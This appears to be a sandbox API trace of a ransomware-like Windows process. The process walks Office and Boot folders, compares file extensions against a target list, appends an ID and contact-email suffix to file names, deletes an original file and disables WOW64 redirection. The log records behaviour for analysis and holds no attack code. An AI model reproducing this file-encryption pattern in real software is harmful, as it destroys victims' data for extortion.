	[0204.756] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.756] SetEndOfFile (hFile=0x5b4) returned 1
	[0204.759] CloseHandle (hObject=0x5b4) returned 1
	[0204.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0204.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0204.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0204.760] lstrlenW (lpString=".doc") returned 4
	[0204.760] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.760] lstrlenW (lpString=".docx") returned 5
	[0204.760] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.760] lstrlenW (lpString=".pdf") returned 4
	[0204.760] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.760] lstrlenW (lpString=".xls") returned 4
	[0204.760] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.760] lstrlenW (lpString=".xlsx") returned 5
	[0204.761] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.761] lstrlenW (lpString=".ppt") returned 4
	[0204.761] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0204.761] lstrlenW (lpString=".zip") returned 4
	[0204.761] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.761] lstrlenW (lpString=".rar") returned 4
	[0204.761] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.761] lstrlenW (lpString=".bz2") returned 4
	[0204.761] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.761] lstrlenW (lpString=".7z") returned 3
	[0204.761] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0204.761] lstrlenW (lpString=".dbf") returned 4
	[0204.761] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0204.761] lstrlenW (lpString=".1cd") returned 4
	[0204.761] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0204.761] lstrlenW (lpString=".jpg") returned 4
	[0204.761] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0204.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0204.761] lstrlenW (lpString=".doc") returned 4
	[0204.761] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.761] lstrlenW (lpString=".docx") returned 5
	[0204.761] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.761] lstrlenW (lpString=".pdf") returned 4
	[0204.761] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.761] lstrlenW (lpString=".xls") returned 4
	[0204.761] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.761] lstrlenW (lpString=".xlsx") returned 5
	[0204.762] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.762] lstrlenW (lpString=".ppt") returned 4
	[0204.762] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0204.762] lstrlenW (lpString=".zip") returned 4
	[0204.762] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.762] lstrlenW (lpString=".rar") returned 4
	[0204.762] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.762] lstrlenW (lpString=".bz2") returned 4
	[0204.762] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.762] lstrlenW (lpString=".7z") returned 3
	[0204.762] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0204.762] lstrlenW (lpString=".dbf") returned 4
	[0204.762] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0204.762] lstrlenW (lpString=".1cd") returned 4
	[0204.762] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0204.762] lstrlenW (lpString=".jpg") returned 4
	[0204.762] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.762] lstrlenW (lpString=".id-") returned 4
	[0204.762] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6730e0 | out: hHeap=0x610000) returned 1
	[0204.762] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbd28 | out: hHeap=0x610000) returned 1
	[0204.762] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bc7c8 | out: hHeap=0x610000) returned 1
	[0204.762] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6cc7d0 | out: hHeap=0x610000) returned 1
	[0204.763] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3b56020 | out: hHeap=0x610000) returned 1
	[0204.768] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6730f8 | out: hHeap=0x610000) returned 1
	[0204.768] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x44414a8
	[0204.768] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44414a8, Size=0x20) returned 0x668560
	[0204.768] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x44414a8
	[0204.769] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44414a8, Size=0x20) returned 0x668420
	[0204.769] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0204.769] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0204.769] Wow64DisableWow64FsRedirection (in: OldValue=0x300ff50 | out: OldValue=0x300ff50*=0x1) returned 1
	[0204.769] lstrlenW (lpString="kernel32.dll") returned 12
	[0204.769] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668420 | out: hHeap=0x610000) returned 1
	[0204.769] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0204.769] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668560 | out: hHeap=0x610000) returned 1

Thread:
	id = 43
	os_tid = 0xdbc

	[0165.112] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x6dcea8
	[0165.112] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x6eceb0
	[0165.113] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673110
	[0165.113] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x6) returned 0x6bbd38
	[0165.113] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673128
	[0165.113] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x100000) returned 0x3c94020
	[0165.116] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673200
	[0165.116] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673200, Size=0x20) returned 0x64d838
	[0165.116] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673278
	[0165.116] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673278, Size=0x20) returned 0x64d928
	[0165.116] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0165.116] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0165.116] Wow64DisableWow64FsRedirection (in: OldValue=0x314ff50 | out: OldValue=0x314ff50*=0x0) returned 1
	[0165.116] lstrlenW (lpString="kernel32.dll") returned 12
	[0165.116] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d838 | out: hHeap=0x610000) returned 1
	[0165.116] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0165.117] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d928 | out: hHeap=0x610000) returned 1
	[0165.117] Sleep (dwMilliseconds=0x64) 
	[0165.350] Sleep (dwMilliseconds=0x64) 
	[0165.744] Sleep (dwMilliseconds=0x64) 
	[0166.015] Sleep (dwMilliseconds=0x64) 
	[0166.330] Sleep (dwMilliseconds=0x64) 
	[0166.653] Sleep (dwMilliseconds=0x64) 
	[0167.006] Sleep (dwMilliseconds=0x64) 
	[0167.320] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0167.320] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0167.321] CreateFileW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.570] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=45984) returned 1
	[0167.571] CloseHandle (hObject=0x428) returned 1
	[0167.571] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20
	[0167.571] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.571] CreateFileW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.571] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29
	[0167.571] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29
	[0167.571] lstrlenW (lpString=".doc") returned 4
	[0167.571] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.571] lstrlenW (lpString=".docx") returned 5
	[0167.571] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.571] lstrlenW (lpString=".pdf") returned 4
	[0167.571] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.571] lstrlenW (lpString=".xls") returned 4
	[0167.571] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.571] lstrlenW (lpString=".xlsx") returned 5
	[0167.571] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.571] lstrlenW (lpString=".ppt") returned 4
	[0167.571] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.571] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29
	[0167.571] lstrlenW (lpString=".zip") returned 4
	[0167.571] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.571] lstrlenW (lpString=".rar") returned 4
	[0167.571] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.571] lstrlenW (lpString=".bz2") returned 4
	[0167.572] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.572] lstrlenW (lpString=".7z") returned 3
	[0167.572] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.572] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29
	[0167.572] lstrlenW (lpString=".dbf") returned 4
	[0167.572] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.572] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29
	[0167.572] lstrlenW (lpString=".1cd") returned 4
	[0167.572] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.572] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29
	[0167.572] lstrlenW (lpString=".jpg") returned 4
	[0167.572] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.572] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29
	[0167.572] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29
	[0167.572] lstrlenW (lpString=".doc") returned 4
	[0167.572] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.572] lstrlenW (lpString=".docx") returned 5
	[0167.572] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.572] lstrlenW (lpString=".pdf") returned 4
	[0167.572] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.572] lstrlenW (lpString=".xls") returned 4
	[0167.572] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.572] lstrlenW (lpString=".xlsx") returned 5
	[0167.572] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.572] lstrlenW (lpString=".ppt") returned 4
	[0167.572] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.572] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29
	[0167.572] lstrlenW (lpString=".zip") returned 4
	[0167.572] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.572] lstrlenW (lpString=".rar") returned 4
	[0167.572] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.572] lstrlenW (lpString=".bz2") returned 4
	[0167.572] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.573] lstrlenW (lpString=".7z") returned 3
	[0167.573] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.573] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29
	[0167.573] lstrlenW (lpString=".dbf") returned 4
	[0167.573] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.573] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29
	[0167.573] lstrlenW (lpString=".1cd") returned 4
	[0167.573] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.573] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29
	[0167.573] lstrlenW (lpString=".jpg") returned 4
	[0167.573] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.573] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0167.573] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.573] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.574] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=76640) returned 1
	[0167.574] CloseHandle (hObject=0x428) returned 1
	[0167.574] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20
	[0167.574] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.574] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.574] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29
	[0167.574] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29
	[0167.574] lstrlenW (lpString=".doc") returned 4
	[0167.574] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.574] lstrlenW (lpString=".docx") returned 5
	[0167.574] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.574] lstrlenW (lpString=".pdf") returned 4
	[0167.574] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.574] lstrlenW (lpString=".xls") returned 4
	[0167.574] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.574] lstrlenW (lpString=".xlsx") returned 5
	[0167.574] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.574] lstrlenW (lpString=".ppt") returned 4
	[0167.574] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.574] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29
	[0167.575] lstrlenW (lpString=".zip") returned 4
	[0167.575] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.575] lstrlenW (lpString=".rar") returned 4
	[0167.575] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.575] lstrlenW (lpString=".bz2") returned 4
	[0167.575] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.575] lstrlenW (lpString=".7z") returned 3
	[0167.575] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.575] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29
	[0167.575] lstrlenW (lpString=".dbf") returned 4
	[0167.575] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.575] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29
	[0167.575] lstrlenW (lpString=".1cd") returned 4
	[0167.575] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.575] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29
	[0167.575] lstrlenW (lpString=".jpg") returned 4
	[0167.575] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.575] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29
	[0167.575] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29
	[0167.575] lstrlenW (lpString=".doc") returned 4
	[0167.575] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.575] lstrlenW (lpString=".docx") returned 5
	[0167.575] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.575] lstrlenW (lpString=".pdf") returned 4
	[0167.575] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.575] lstrlenW (lpString=".xls") returned 4
	[0167.575] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.575] lstrlenW (lpString=".xlsx") returned 5
	[0167.575] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.575] lstrlenW (lpString=".ppt") returned 4
	[0167.575] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.575] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29
	[0167.576] lstrlenW (lpString=".zip") returned 4
	[0167.576] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.576] lstrlenW (lpString=".rar") returned 4
	[0167.576] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.576] lstrlenW (lpString=".bz2") returned 4
	[0167.576] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.576] lstrlenW (lpString=".7z") returned 3
	[0167.576] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.576] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29
	[0167.576] lstrlenW (lpString=".dbf") returned 4
	[0167.576] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.576] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29
	[0167.576] lstrlenW (lpString=".1cd") returned 4
	[0167.576] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.576] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29
	[0167.576] lstrlenW (lpString=".jpg") returned 4
	[0167.576] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.576] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0167.576] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0167.576] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.579] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=45472) returned 1
	[0167.579] CloseHandle (hObject=0x428) returned 1
	[0167.579] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20
	[0167.579] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.579] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.579] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29
	[0167.579] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29
	[0167.579] lstrlenW (lpString=".doc") returned 4
	[0167.579] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.579] lstrlenW (lpString=".docx") returned 5
	[0167.579] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.579] lstrlenW (lpString=".pdf") returned 4
	[0167.580] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.580] lstrlenW (lpString=".xls") returned 4
	[0167.580] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.580] lstrlenW (lpString=".xlsx") returned 5
	[0167.580] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.580] lstrlenW (lpString=".ppt") returned 4
	[0167.580] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.580] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29
	[0167.580] lstrlenW (lpString=".zip") returned 4
	[0167.580] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.580] lstrlenW (lpString=".rar") returned 4
	[0167.580] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.580] lstrlenW (lpString=".bz2") returned 4
	[0167.580] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.580] lstrlenW (lpString=".7z") returned 3
	[0167.580] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.580] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29
	[0167.580] lstrlenW (lpString=".dbf") returned 4
	[0167.580] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.580] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29
	[0167.580] lstrlenW (lpString=".1cd") returned 4
	[0167.580] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.580] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29
	[0167.580] lstrlenW (lpString=".jpg") returned 4
	[0167.580] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.580] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29
	[0167.580] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29
	[0167.580] lstrlenW (lpString=".doc") returned 4
	[0167.580] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.580] lstrlenW (lpString=".docx") returned 5
	[0167.580] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.580] lstrlenW (lpString=".pdf") returned 4
	[0167.581] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.581] lstrlenW (lpString=".xls") returned 4
	[0167.581] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.581] lstrlenW (lpString=".xlsx") returned 5
	[0167.581] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.581] lstrlenW (lpString=".ppt") returned 4
	[0167.581] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.581] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29
	[0167.581] lstrlenW (lpString=".zip") returned 4
	[0167.581] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.581] lstrlenW (lpString=".rar") returned 4
	[0167.581] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.581] lstrlenW (lpString=".bz2") returned 4
	[0167.581] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.581] lstrlenW (lpString=".7z") returned 3
	[0167.581] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.581] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29
	[0167.581] lstrlenW (lpString=".dbf") returned 4
	[0167.581] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.581] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29
	[0167.581] lstrlenW (lpString=".1cd") returned 4
	[0167.581] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.581] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29
	[0167.581] lstrlenW (lpString=".jpg") returned 4
	[0167.581] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.581] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.581] lstrlenW (lpString="chs_boot.ttf") returned 12
	[0167.582] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.584] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3695719) returned 1
	[0167.584] CloseHandle (hObject=0x428) returned 1
